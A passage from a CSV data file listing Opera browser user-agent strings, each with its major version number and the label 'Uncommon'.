Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\nOpera/9.80 (Windows NT 6.1; Edition Yx) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\nOpera/9.80 (Linux armv7l; U;  CE-HTML/1.0 NETTV/4.1.1 PHILIPSTV/2.1.1; en) Presto/2.10.287 Version/12.00,12,Uncommon\nOpera/9.80 (Linux i686; Opera TV Store/5449) Presto/2.12.362 Version/12.10 Model/Opera-TvEmulator,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47 (Edition Campaign 76)\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0; Win128; x128) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.18 Safari/537.36 OPR/37.0.2178.54\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3153.0 Safari/537.36 OPR/48.0.2670.0 (Edition developer)\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\nOpera/9.80 (Android 2.3.6; Linux; Opera Mobi/ADR-1301071820) Presto/2.11.355 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.19 Safari/537.36 OPR/44.0.2505.0 (Edition developer)\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 OPR/52.0.2871.27 (Edition beta)\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.18 Safari/537.36 OPR/30.0.1835.18 (Edition beta)\",30,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 OPR/27.0.1689.66\",27,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\nOpera/9.80 (Linux armv7l; Maemo; Opera Mobi/16) Presto/2.11.355 Version/12.10,12,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto/2.12.388 Version/12.10,12,Uncommon\nOpera/9.80 (X11; Linux i686) Presto/2.12.388 Version/12.11,12,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition United States Local) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 OPR/50.0.2762.45\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 OPR/25.0.1614.71\",25,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 OPR/25.0.1614.71\",25,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1290.67495\",18,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; ru) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.2; GT-N8000 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.92967\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55 (Edition Campaign 76)\",51,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.74\",36,Uncommon\nOpera/9.80 (Windows NT 6.2; WOW64; Edition Campaign 21) Presto/2.12.388 Version/12.17,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 OPR/27.0.1689.69 (Edition Campaign 46)\",27,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36 OPR/24.0.1558.53 (Edition Campaign 38)\",24,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/51.0\",51,Uncommon\n\"Mozilla/5.0 (Linux; Andr0id 6.0.1; BRAVIA 4K GB Build/MMB29V.S50) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 OPR/32.0.2036.0 OMI/4.6.4.42.E103250.101\",32,Uncommon\nOpera/9.80 (Windows NT 10.0; Win64; x64) Presto/2.12.388 Version/38.0,38,Uncommon\nOpera/9.80 (Windows NT 10.0; Win64; x64) Presto/2.12.388 Version/36.0,36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.1835.49 (Edition beta)\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Debian/8.0 Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.881\",45,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition United States Local) Presto/2.12.388 Version/12.17,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57 (Edition Campaign 75)\",46,Uncommon\n\"Mozilla/5.0 (Microsoft Windows NT 6.1.7600.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Opera/15.0.0\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.31\",34,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.881\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.62\",16,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.44 Safari/537.36 OPR/25.0.1614.5 (Edition developer)\",25,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56 (Edition Campaign 34)\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 OPR/22.0.1471.70 (Edition Campaign 18)\",22,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.122 Safari/537.36 OPR/24.0.1558.64 (Edition FCR)\",24,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1; X9009 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.112031\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.0.251024530 (Edition EXP126.ref)\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Uncommon\nOpera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01 UNTRUSTED/1.0,11,Uncommon\nOpera/9.80 (Windows NT 5.1; U; Edition IBIS; Trident/5.0),9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32\",46,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.635\",45,Uncommon\nOpera/8.01 (Windows NT 5.1),8,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.881\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.64\",52,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; en) Opera 11.64,11,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.45.18.4 (HITACHI, Mxl661315_, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36 OPR/25.0.1614.68\",25,Uncommon\nOpera/9.80 (S60; SymbOS; Opera Mobi/35779; U; hu) Presto/2.10.254 Version/12.00,12,Uncommon\nOpera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.13,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Uncommon\nOpera/9.80 (X11; Linux x86_64; U; en) Presto/2.10.229 Version/11.64,11,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Safari/537.36 OPR/19.0.1340.69721\",19,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2774.3 Safari/537.36 OPR/40.0.2288.0 (Edition developer)\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3213.3 Safari/537.36 OPR/50.0.2729.0 (Edition developer)\",50,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.45.23.26 (BUSH, Mxl661236_, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nOpera/9.70 (Windows NT 5.1; U; en) TMO-US_LEO,9,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.0.255225696 (Edition EXP148)\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 OPR/34.0.2036.47\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3053.3 Safari/537.36 OPR/46.0.2573.0 (Edition developer)\",46,Uncommon\nOpera/9.80 (Windows NT 6.1; U; Edition DriverPack; fr) Presto/2.10.229 Version/11.61,11,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.10,11,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.0.1; Nexus 4 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.138 Mobile Safari/537.36 OPR/22.0.1485.78487\",22,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.7.5) Presto/2.12.388 Version/12.16,12,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; A37f Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.106495\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 OPR/30.0.1835.151\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.23 (Edition beta)\",51,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2128.0 OMI/4.8.0.129.PIXEL_FREEVIEW.43\",36,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2421.0 Safari/537.36 OPR/32.0.1899.0 (Edition developer)\",32,Uncommon\nMozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Opera 12.18,12,Uncommon\nOpera/9.80 (S60; SymbOS; Opera Mobi/SYB-1103211396; U; es-LA) Presto/2.7.81 Version/11.00,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; MRA 6.4 (build 8614)) Presto/2.12.388 Version/12.16,12,Uncommon\nOpera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Uncommon\nOpera/9.80 (Android 2.2.1; Linux; Opera Mobi/ADR-1301071820) Presto/2.11.355 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/602.2.3 (KHTML, like Gecko) Chrome/60.0.3078.85 Safari/602.2.3 OPR/46.0.2127.16\",46,Uncommon\nOpera/5 (FreeBSD),5,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Opera/9.80 (Linux armv7l; HbbTV/1.2.1 (; Philips; ; ; ; ) CE-HTML/1.0 NETTV/6.0.2 SmartTvA/3.0.0 (PhilipsTV, 6.1.1,) en) Presto/2.12.407 Version/12.50\",12,Uncommon\nOpera/9.80 (Windows NT 5.1; U; Edition IBIS; Trident/4.0; zh-cn) Presto/2.10.229 Version/11.62),11,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; Edition United States Local; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; SM-T817V Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.99 Safari/537.36 OPR/35.0.2070.100283\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; SM-G361H Build/LMY48B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.105088\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.29 (Edition beta)\",36,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.45.23.11 (JVC, Mxl661315_, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nOpera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.12,12,Uncommon\nOpera/9.80 (Windows ME; U; en) Presto/2.6.30 Version/10.63,10,Uncommon\nOpera/9.80 (Linux armv7l ; U; CE-HTML/1.0 NETTV/4.1.1; en) Presto/2.6.33 Version/10.60,10,Uncommon\nOpera/9.80 (Linux armv6l; Opera TV Store/4518; U; (SonyBDP/BDV12); en) Presto/2.10.250 Version/11.60,11,Uncommon\nOpera/9.80 (X11; Linux i686; U; Edition Next; nl) Presto/2.10.289 Version/12.01,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36 OPR/41.0.2246.110204\",41,Uncommon\nHUAWEI-G7300/HUAWEI_G7300_S_WIFI_V100R001B201C200SP04   Browser/Opera MMS/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/9.80 (MTK; U; en-GB) Presto/2.5.28 Version/10.10,10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (DIGIHOME, Mxl661L32, wired) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nOpera/9.80 (X11; Linux x86_64; Edition Linux Mint) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.92\",35,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.157\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.42\",34,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 6.0; TECNO W2 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Mobile Safari/537.36 OPR/19.0.2254.108926\",19,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\nMot-WX308/v3 BTSTLE_G_0A.22.11RPS Release/10.11.2011 Browser/Opera Profile/MIDP-2.0 Configuration/CLDC-1.1 Sync/SyncClient1.1 Opera/9.80 (MTK; Nucleus; Opera Mobi/4000; U; en-US) Presto/2.5.28 Version/10.10,10,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 OPR/39.0.2256.71\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.55\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 OPR/49.0.2725.34\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 OPR/30.0.1835.125\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2351.3 Safari/537.36 OPR/30.0.1835.5 (Edition developer)\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36 OPR/35.0.2066.68\",35,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36 OPR/35.0.2066.68\",35,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.19 Safari/537.36 OPR/39.0.2226.0 (Edition developer)\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2130.80 (Edition Campaign 34)\",36,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 OPR/33.0.1990.43\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69 (Edition Campaign 18)\",32,Uncommon\n\"Mozilla/5.0 (Linux; BRAVIA 4K 2015 Build/LMY48E.S197) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 OPR/28.0.1754.0 OMI/4.4.22.20.E102586-1.126\",28,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.8.3) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (TECHWOOD, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/30.0.1835.88 (Edition Campaign 49)\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36 OPR/15.0.1147.148\",15,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.0.3; HTC Sensation Z710e Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.107 Mobile Safari/537.36 OPR/29.0.1809.93516\",29,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 OPR/29.0.1795.47\",29,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2832.2 Safari/537.36 OPR/41.0.2340.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.0.4; ST21i Build/11.0.A.4.22) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.58 Mobile Safari/537.31 OPR/14.0.1074.58201\",14,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; KFGIWI Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2192.105088\",37,Uncommon\nOpera/9.80 (X11; Linux x86_64; U; Linux Mint; en) Presto/2.2.15 Version/10.10,10,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47 (Edition Campaign 75)\",49,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 5.1; XT1060 Build/LPAS23.12-39.7-1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/54.0.2840.85 Mobile Safari/537.36 OPR/21.0.2254.110234\",21,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.8 Safari/537.36 OPR/40.0.2301.0 (Edition developer)\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.132 